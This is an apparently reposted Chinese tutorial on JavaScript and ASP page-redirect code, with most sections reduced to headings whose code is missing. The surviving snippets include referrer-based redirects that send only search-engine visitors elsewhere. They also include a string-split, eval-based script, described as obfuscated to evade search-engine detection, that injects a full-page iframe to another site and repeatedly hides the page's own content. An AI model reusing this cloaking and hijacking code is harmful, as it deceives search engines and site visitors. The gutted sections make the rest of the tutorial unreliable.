zl程序教程

您现在的位置是:首页 >  后端

当前栏目

JS跳转代码_js中跳转页面路径

JS代码 页面 路径 跳转
2023-06-13 09:13:01 时间

大家好,又见面了,我是你们的朋友全栈君。

一、常规的JS页面跳转代码

1、在原来的窗体中直接跳转用

2、在新窗体中打开页面用:

3、JS页面跳转参数的注解

参数解释:

第2种:

第3种:

第4种:

第5种:

三、页面停留指定时间再跳转(如3秒)

四、根据访客来源跳转的JS代码

1、JS判断来路代码

此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:

2、JS直接跳转代码

3、ASP跳转代码判断来路

<%   if instr(Request.ServerVariables(“http_referer”),“www.baidu.com”)>0 then   response.redirect(“http://www.at8k.com/”)   end if   %>

4、ASP直接跳转的

<%   response.redirect(“http://www.at8k.com/”)   %>

五、广告与网站页面一起的JS代码

1、上面是广告下面是站群的代码

document.writeln(“”);

2、全部覆盖的代码

document.write(“”);

3、混淆防止搜索引擎被查的js调用

具体的展示上面是广告下面是站群的代码:

var ss = ‘

<ifr’+‘ame scrolling=“no” marginheight=0 marginwidth=0 frameborder=“0” width=“100%” width=”14’+‘00″ height=”63’+‘50″ src=”ht’+‘tp://’+‘ww’+‘w.hx’+‘zhan’+‘qun.c’+‘om/”>

’;

  eval(“do”+“cu”+“ment.wr”+“ite(’”+ss+”’);”);

  try{

   setInterval(function(){

   try{

   document.getElementById(“div”+“All”).style.display=“no”+“ne”;

   }catch(e){}

   for(var i=0;i<document.body.children.length;i++){

try{

var tagname = document.body.children[i].tagName;

var myid = document.body.children[i].id;

if(myid!=“iconDiv1” && myid!=“showcloneshengxiaon”){

// if(tagname!=“center”){

document.body.children[i].style.display=“non”+“e”;

//}

}

}catch(e){}

   }

   },100);

  }catch(e){}

六、页面跳出框架

七、返回上一页

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/170143.html原文链接:https://javaforall.cn